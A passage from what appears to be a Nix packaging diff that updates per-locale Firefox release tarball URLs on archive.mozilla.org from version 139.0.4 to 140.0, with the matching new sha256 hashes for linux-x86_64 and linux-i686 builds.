"linux-x86_64"; - sha256 = "ea337ce012881ada3a142900fb1f7390ba84a3f38e085d670a8db4c810607689"; + sha256 = "959fc2f8aa6e471a23d63bd4ca319583de066c0ccc338968fcbc446653d4050d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sk/firefox-140.0.tar.xz"; locale = "sk"; arch = "linux-x86_64"; - sha256 = "a05d7215de61dc20252969a3b1adbba0d7b9ce474f555ef1d59ccfc012faa53d"; + sha256 = "482a7fe99df4cb564ac0b87700758cf57ae66ee0ce763102b9b3e433f0fae203"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/skr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/skr/firefox-140.0.tar.xz"; locale = "skr"; arch = "linux-x86_64"; - sha256 = "57a2cadc0f4c1ebdb91454433ed3d46e7ae8885b5918ef5969c95d879c655b19"; + sha256 = "371f21950abe4bb4cc5b6d19a3aed37899791fd546c08a7c35a75a3d018ad2d1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sl/firefox-140.0.tar.xz"; locale = "sl"; arch = "linux-x86_64"; - sha256 = "17d516442c8fe6dfc8813101e6a4e93f68f16d13e24794c41303e23030e6ce82"; + sha256 = "2d66e0f786a0950d5f7ebf13984ea449c0c279946b7853514d27b10c3ec8564c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/son/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/son/firefox-140.0.tar.xz"; locale = "son"; arch = "linux-x86_64"; - sha256 = "4abfd19e1af1ef6b6e0010cf5efb2ef55ba5aaea4e029e1383b5146557860a51"; + sha256 = "640c413f78778af96a8e00e7055a2e2461f96429614626fead6350a008bdab9f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sq/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sq/firefox-140.0.tar.xz"; locale = "sq"; arch = "linux-x86_64"; - sha256 = "4092fdf3144d610c5d4d5d367dbae82356d7928e2f6adb960453b44b89144ab7"; + sha256 = "96aba308c3bc6f60440cf6ae9bfcbd5cc3619caf806b75d61e8281e06f2c3590"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sr/firefox-140.0.tar.xz"; locale = "sr"; arch = "linux-x86_64"; - sha256 = "684263380f03524571b23c7872313363eceb952173fe257b4cf2c4035f5393bb"; + sha256 = "a0eac5cd18d82350ba8ee8d98498a3bd6b83223269257e89d7ef72c625891252"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sv-SE/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sv-SE/firefox-140.0.tar.xz"; locale = "sv-SE"; arch = "linux-x86_64"; - sha256 = "301deb5f1ebf0c8c7d659c437d7d89c91fa881608a5a4461e345d5b5e3b75c46"; + sha256 = "88443bae7fb75700d5ebd1dde43e87f3b952950f4dd1f66d72b0b8642b5263be"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/szl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/szl/firefox-140.0.tar.xz"; locale = "szl"; arch = "linux-x86_64"; - sha256 = "e5ff830a49042bf2bdb49d5b9627a981f41222b4bc0b35fb0fdd740c093b526c"; + sha256 = "3dc8fbd415b091f83931f3c1ee100d252fa98cf23bdffd5f7a5f3128890f4873"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ta/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ta/firefox-140.0.tar.xz"; locale = "ta"; arch = "linux-x86_64"; - sha256 = "3e42562dc712c3d1eea01a853c9c269dec150491369a7f94a088f61e04eb52cb"; + sha256 = "c93f8cf18af8ce43f823d9d3e335a990955fd290d56ae05ba0cbd86ff7057825"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/te/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/te/firefox-140.0.tar.xz"; locale = "te"; arch = "linux-x86_64"; - sha256 = "afaaac45d761de23084ba0451b20b9ef242aa46cfdc36a59ca54a570067af0b4"; + sha256 = "39467355eb95cf8e16792859b4127bd891df66741aa393ec18959a86f3607817"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tg/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tg/firefox-140.0.tar.xz"; locale = "tg"; arch = "linux-x86_64"; - sha256 = "0803a98962b05a22772c6d84bc9625a25f8bef046996cc709b85a73fced57ff1"; + sha256 = "5883e551dae197305b62afba282d6b47687fc39b2eb495a2f6245d58490765fa"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/th/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/th/firefox-140.0.tar.xz"; locale = "th"; arch = "linux-x86_64"; - sha256 = "1e67f3c723c6b50c99a61815a19d0e7aa488de58f0a3b77aef0dfc9f95de20ba"; + sha256 = "806451bd3a77b18aa57507670d2953488106f3574ba515fa1a957997d53b94e8"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tl/firefox-140.0.tar.xz"; locale = "tl"; arch = "linux-x86_64"; - sha256 = "8a036dbbd704d47ac6f135a5b44acf7a726ee8721b0fcbca9ce7150115c32732"; + sha256 = "244a31b6015f93b9f17058443f3ca61417cd786c80d8950aec8cef8bbf946832"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tr/firefox-140.0.tar.xz"; locale = "tr"; arch = "linux-x86_64"; - sha256 = "29b1554086dd239490c9b9076a812137823cb9447b39ba7c5d7b8b3d5d74bf5a"; + sha256 = "f8ec9d2ff12f1d4ce85ad93900751e2635c773c66e5e64919703e51d301ee481"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/trs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/trs/firefox-140.0.tar.xz"; locale = "trs"; arch = "linux-x86_64"; - sha256 = "105a01e63c556791c78645af541b75c090ae8db3b479b396e0949b81849b3a07"; + sha256 = "b9f19165e278665e92f2424b5ba99cf5d3cd8e87b6a6c0792e34997b54bb9fb7"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/uk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/uk/firefox-140.0.tar.xz"; locale = "uk"; arch = "linux-x86_64"; - sha256 = "f889d5347935b505c8acd832eb7f55e909e5c2335396b4630d0518e6533d342c"; + sha256 = "999438a1c8b0dd17525823a84232161da0cdf3ecaf0d9e13871228a2cc299b38"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ur/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ur/firefox-140.0.tar.xz"; locale = "ur"; arch = "linux-x86_64"; - sha256 = "c10cb624597df0621d33e9fae0a033ebc0256ede3ea84173dbc5aa83d6c04735"; + sha256 = "354456f9a98f1d90cf32288847398ab8d17a2afd5a859f7f0e0778ea63e9a4af"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/uz/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/uz/firefox-140.0.tar.xz"; locale = "uz"; arch = "linux-x86_64"; - sha256 = "1045edafc95910b71233a47af11268e7f065d4bd9976c676f45cdbc146a7febe"; + sha256 = "8061df4097d0b169fa93ff119d072a17137665df1452d67abe05ffb8dadd7754"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/vi/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/vi/firefox-140.0.tar.xz"; locale = "vi"; arch = "linux-x86_64"; - sha256 = "b6d0ed7399eec4d69c7dd5c991818b9be52fd6ec670fc148ff8f75a29fe8a633"; + sha256 = "b87756572a3bc9e0b60a0442f0062ae7d6fc0e73d1c72960e3846b16326c38e6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/xh/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/xh/firefox-140.0.tar.xz"; locale = "xh"; arch = "linux-x86_64"; - sha256 = "360437bc312d5e113919ced6d82acbe8f6d8c463da00d89af67df03fec971279"; + sha256 = "6443e1097ca4efeffa87813087eaad4ae4ec49626626d8b8ede3875b6843eb24"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/zh-CN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/zh-CN/firefox-140.0.tar.xz"; locale = "zh-CN"; arch = "linux-x86_64"; - sha256 = "2fde7c9ccf14c9091e2f2e96238a2f0c7dbc84a82920d0a3c3eed329cb4d9360"; + sha256 = "e7c818ce275cf537e00fc30fe5b0064251c7fb217f069621151acad30d8c9bc6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/zh-TW/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/zh-TW/firefox-140.0.tar.xz"; locale = "zh-TW"; arch = "linux-x86_64"; - sha256 = "318be7f9b81b5e7c4469dca4201213f9f064b8b47ceeebcc0f93040544b10181"; + sha256 = "d58767c072db6a3bb4853df66881d37633ec38c82b3c52464c1991ef3d17f024"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ach/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ach/firefox-140.0.tar.xz"; locale = "ach"; arch = "linux-i686"; - sha256 = "efe3d84e60799cdf38914250d0ac2703d5b44a536823413b4f97177df4ca9d44"; + sha256 = "99f2274dcee881024a23edf94dbb622e32b4fde414522c05c9835eeb603dc13e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/af/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/af/firefox-140.0.tar.xz"; locale = "af"; arch = "linux-i686"; - sha256 = "f4df58379868d079a8e92cdaf1af3c68f34c59004fe6eba1c0d12d27a2e28016"; + sha256 = "98a9d5af13c01493e23e18f442f3277655b6adde9c765e817ffa6ca712e9bfcd"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/an/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/an/firefox-140.0.tar.xz"; locale = "an"; arch = "linux-i686"; - sha256 = "c5511db64b806b079dea8c5eb685339bae2e5a7760994e0ce734c8078fc6444f"; + sha256 = "5ab4e2e548449b02638ffb1ceb35b08b49a07ba5db0c0fe7cdff22370e407e15"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ar/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ar/firefox-140.0.tar.xz"; locale = "ar"; arch = "linux-i686"; - sha256 = "3193ae86eb7ec60886719fc605d1ebc894f41c31315fcf5e0719497cdd97d492"; + sha256 = "ddddcaac3ec88a2d60dd2b1e535cb742c6f0f4440d5f5d516cd344073dc6de2c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ast/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ast/firefox-140.0.tar.xz"; locale = "ast"; arch = "linux-i686"; - sha256 = "ccb94417b06a43a8768e7aae99b4ea791b693fdccd6a4f017aa60a4371ea693d"; + sha256 = "422458a09de3ce95137173d3fa36fb5d94088a42bdd678615b39a1fa4dd8e862"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/az/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/az/firefox-140.0.tar.xz"; locale = "az"; arch = "linux-i686"; - sha256 = "77c0de8966b6f48df45f86e8c82e0b63a83c414715d65499fbbee60d94a096d4"; + sha256 = "9c9b868eaac6a6e5d1962a9b7a3200f25bd2817ebb10472b32f66cfe53b17331"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/be/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/be/firefox-140.0.tar.xz"; locale = "be"; arch = "linux-i686"; - sha256 = "81e15f0edb1b737f6a8130c68dbc1b2dcb520c5655af1533c4ee4cbc43ac31e5"; + sha256 = "f8d9083a6ef6320222997d1a92f474a988faf8bc2f241787ddab9ca73dd7c59e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bg/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bg/firefox-140.0.tar.xz"; locale = "bg"; arch = "linux-i686"; - sha256 = "c77c220629c4018afb8db7abedbe3cba1614289b3642d9e953dc712a01125781"; + sha256 = "da4d5f2be41570032a1fe0c360cefc55ab765995d80e6a0547de5878f813b305"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bn/firefox-140.0.tar.xz"; locale = "bn"; arch = "linux-i686"; - sha256 = "9113a41a8a08a89451631c18346c954cade93eb51a6e79a5219338b86cb81873"; + sha256 = "4624ea48c8a520248ad8b795b2830049b26a8757f017a0a55f27f2cb33f3bef1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/br/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/br/firefox-140.0.tar.xz"; locale = "br"; arch = "linux-i686"; - sha256 = "74487a03a2e7b6545cbdf5e948795588840e502985b03e3670fe6da1f16b5a84"; + sha256 = "5da4ced73a0c4d08bf24ff4782ef657314f56417fb6916f4c6afa7ca231d49cf"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/bs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bs/firefox-140.0.tar.xz"; locale = "bs"; arch = "linux-i686"; - sha256 = "88ef03c50f048d843c123e9fc54a9eb8524ad7ff2473ca5456f4500bb62bf91e"; + sha256 = "5f4c472d9e74182b1b8bac91adbc4ac65406cad1827eacb381b6af6d55871410"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ca-valencia/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ca-valencia/firefox-140.0.tar.xz"; locale = "ca-valencia"; arch = "linux-i686"; - sha256 = "d08a89ef4fe795946393fc9d5b29c1b38e1b600cda286fae769d9ed5c67829d6"; + sha256 = "6ef7686f27a54877111e0c63f70a7aa3f507daed700b2532e67197fc65ab46d3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ca/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ca/firefox-140.0.tar.xz"; locale = "ca"; arch = "linux-i686"; - sha256 = "07501520cf38f7e2478277fafb18f9f388e347b9e66af8d756b10ab259831ff3"; + sha256 = "256ab028787596028fbf17bacbc5e68690856ba766786613391ec3dee4a8a726"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cak/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cak/firefox-140.0.tar.xz"; locale = "cak"; arch = "linux-i686"; - sha256 = "9eae6daf22a0925eab388d54fb01402a71dcd18879e760a7594ef46faf27b592"; + sha256 = "6cea377f66f0498afdc2dd2ead27b6aa4e5d464b5d3258e1e8ef6f7194547b23"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cs/firefox-140.0.tar.xz"; locale = "cs"; arch = "linux-i686"; - sha256 = "3d509a4576a2d2b08ab707c7a56ee46178e7fba07de2ac8bd8b97e81c640833c"; + sha256 = "57196499777860c0f66343041778ba8bf3cea7c6c6dff4e13c24c9c56137efce"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/cy/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cy/firefox-140.0.tar.xz"; locale = "cy"; arch = "linux-i686"; - sha256 = "459045eb67dc09d299e76f1ef29f883ff3d73020b184e457e4bf4998809d9e0b"; + sha256 = "7bdc0c597c3a2f67f76965f1e8c33cf055bfdca7e21dbdf4c9346546f7058abb"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/da/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/da/firefox-140.0.tar.xz"; locale = "da"; arch = "linux-i686"; - sha256 = "8d23fda9058523461e9dcffd32a1fd10810dfef8cf86efd6748a241ee44d195e"; + sha256 = "acf056df3d32ce46d3aa79891c4f8dd2c906c8dcc9b663f78ec287986c2a6b6e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/de/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/de/firefox-140.0.tar.xz"; locale = "de"; arch = "linux-i686"; - sha256 = "91269c0e3190d315404ba75056b9c766091a8cfe69e257099668703dd88282e2"; + sha256 = "10d59420bb3374a7b2c1366c1793aa6c5d2cf1a0beb4eb42211b773be5b49683"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/dsb/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/dsb/firefox-140.0.tar.xz"; locale = "dsb"; arch = "linux-i686"; - sha256 = "b28fa2d3da1e2641909bd08b1ff685863df6a6521a82b832831854d7a1d2526d"; + sha256 = "6e62619441b8a98c2e459a2e4d2aa6c241e7a32f7d56385cf77a84ae874b7dbc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/el/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/el/firefox-140.0.tar.xz"; locale = "el"; arch = "linux-i686"; - sha256 = "4d4c4a62417b5475cfa7f9b45c30e5745b5cb0b87b37e2699f092d3bc606d389"; + sha256 = "32cd5609c3d8fbbdaa4978968e4029963e567666fb3fa39fd51f442ae122d39b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-CA/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-CA/firefox-140.0.tar.xz"; locale = "en-CA"; arch = "linux-i686"; - sha256 = "32cedd68211d70e232980b9659b17f584f3e03fab735563f3fadf9b2f7678d14"; + sha256 = "fb57076c723926004b4cc9f5471c4d5b678d506db45d456c77ec84590beebb2e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-GB/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-GB/firefox-140.0.tar.xz"; locale = "en-GB"; arch = "linux-i686"; - sha256 = "6662323e1b378b59043eb06e6b64b9e0828a50c8ee2e36c3059102e0d210b837"; + sha256 = "662c9947885c66b6c17bff4a8032b23646c75ef787b26d8c2ae702312d221b80"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/en-US/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-US/firefox-140.0.tar.xz"; locale = "en-US"; arch = "linux-i686"; - sha256 = "202a6ee018ff34923a6f59363b45408fbbedaf73d96a751285e801ca73bce4f8"; + sha256 = "47858cf7b8c84e7330fde38b5017a0a14c5cc07a75d5e3f90048b676f859ef19"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/eo/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/eo/firefox-140.0.tar.xz"; locale = "eo"; arch = "linux-i686"; - sha256 = "c9fe021fd4df933305fa18e0c142549c4d1acc8fc870fd361df721648e602cc5"; + sha256 = "6e8e15e9762b77e8fa1eba301116718d30490917bec54c4ea554ed609992d43b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-AR/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-AR/firefox-140.0.tar.xz"; locale = "es-AR"; arch = "linux-i686"; - sha256 = "e930de6127ed5991a03873a3aa696f004db19ca3e2364d5ff1a585812c2f110e"; + sha256 = "8fdbb210a7070d60796eed82b2062313a56c3fbece9566b22ed67c3bf51549fd"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-CL/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-CL/firefox-140.0.tar.xz"; locale = "es-CL"; arch = "linux-i686"; - sha256 = "6323556e58ab72674e9a5520d6657e8ce3b52d50c962c4e6c60bd0e8105804c5"; + sha256 = "126ce4de025ddeef82b80a37dff8b996985075ddd2d00bc8cafd41057118fd01"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-ES/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-ES/firefox-140.0.tar.xz"; locale = "es-ES"; arch = "linux-i686"; - sha256 = "71b02535bf7d7e8cd0a3da9317e33314ed54e8f8109f495887cc9a032219a071"; + sha256 = "36852a0883d7a98312421cdffa6691b6ec9bef00c9e8e18ba08a4200a2343780"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/es-MX/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-MX/firefox-140.0.tar.xz"; locale = "es-MX"; arch = "linux-i686"; - sha256 = "065dedf422a3b5d678d6359070a08934b809996349ba09452158e79f899b92a4"; + sha256 = "671dbf88dbf626e29e25d8b8783fe48d439aacca73ffc343e22bf7aa8942ac09"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/et/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/et/firefox-140.0.tar.xz"; locale = "et"; arch = "linux-i686"; - sha256 = "19dcef89982b967497a2b309ffa9f7f6f64e8490560820151919242f273f9ae5"; + sha256 = "110003386981b49407101fe8cd97db136fcd26a715cdbccd129bb9777cc932a8"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/eu/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/eu/firefox-140.0.tar.xz"; locale = "eu"; arch = "linux-i686"; - sha256 = "11c074185d5ed9ed58a031fad9bfe58a7132470d9d5e4069c249f66022d7a2f7"; + sha256 = "ccb34213d7668b7606b190c8748164a6cb881464a5ad8b29e3a99b99cf40dddb"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fa/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fa/firefox-140.0.tar.xz"; locale = "fa"; arch = "linux-i686"; - sha256 = "227d95350e398a4f7d1f89dac0ed9245a56db622bc835a63c468afb0bd9d3a06"; + sha256 = "c36698575d278ef19186abf963abb8aac7e4b7d532c5200c67e2f4ecea3afb01"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ff/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ff/firefox-140.0.tar.xz"; locale = "ff"; arch = "linux-i686"; - sha256 = "893642972019297eb6719c57915d6c898a12619a6fd86c8ad15f375335f13568"; + sha256 = "5217a8c71d95b4efc49786c56338ba4360edb81b972e7f8e55d2ce1d77a53397"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fi/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fi/firefox-140.0.tar.xz"; locale = "fi"; arch = "linux-i686"; - sha256 = "8744a6c8e71dba3e7eb93f3f528c61272e8e7bc7ba78934b3dfc58590dccadf7"; + sha256 = "615f222efa72c85bb6288e0ab58ca87d80042ac9ed122a9fcb284ff9fb062f5e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fr/firefox-140.0.tar.xz"; locale = "fr"; arch = "linux-i686"; - sha256 = "acc8290a763d963321119241e834282d8e512e5ef782185f689723e83a69ad86"; + sha256 = "74cec4b8e72c8cde2893ef6529ba3bbeb7e39f688a0ad16f56ea6a378a6c9972"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fur/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fur/firefox-140.0.tar.xz"; locale = "fur"; arch = "linux-i686"; - sha256 = "92d2b697e4bb3bd9a3925b51ee52ba617a8b5bd326df56e6272f24cdeec4b386"; + sha256 = "f5151c0ed131e3df78ef7f2ef635cc34538060c8dd91035270581ae33a8e0d4f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/fy-NL/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fy-NL/firefox-140.0.tar.xz"; locale = "fy-NL"; arch = "linux-i686"; - sha256 = "f141dc5175a168286c26ce9a6294071dd6b30ae282ff283c1940e066a25fba83"; + sha256 = "459596a691af7ab6404f0bbc486edc5ab0800ee144e493ef9884200cf4523ea6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ga-IE/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ga-IE/firefox-140.0.tar.xz"; locale = "ga-IE"; arch = "linux-i686"; - sha256 = "316f4910bda0c1b0d93867795bcd83961af9974840a667d9934d3e51e1d9aa41"; + sha256 = "f5fb84c5504982b199262d9a9aa39c4d827e9a772dcc819dab70de96de3a2fd2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gd/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gd/firefox-140.0.tar.xz"; locale = "gd"; arch = "linux-i686"; - sha256 = "5f6195295380b09d7133336f33184218b0d1e2cda5e668eae21cf80cf4342028"; + sha256 = "4659a979ae099d2dbbb8a4587e7e61b948bf755540e7d866f9e7f440bb035629"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gl/firefox-140.0.tar.xz"; locale = "gl"; arch = "linux-i686"; - sha256 = "f7e1d0d8f7e1030e1b8cc01efeaeb3dae2db2958417f40bd8af330f4f3db4d6e"; + sha256 = "ce6a2f7c4f0d5b4582ecd25cab938466bbc423740ebe43e15d0bba9c09d0c441"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gn/firefox-140.0.tar.xz"; locale = "gn"; arch = "linux-i686"; - sha256 = "e1909c80d052fb087603d436f1a85e60646867d3b47011151783af8fb455a522"; + sha256 = "0a3012c44a4d3e03ef3143c3f0fc58ffa06978f8dde2770f50903ca274d4988d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/gu-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gu-IN/firefox-140.0.tar.xz"; locale = "gu-IN"; arch = "linux-i686"; - sha256 = "b23cedf29625670b7abb6d85175fa75e99435abd9c0c2e42dc6ed87cc4e5eedc"; + sha256 = 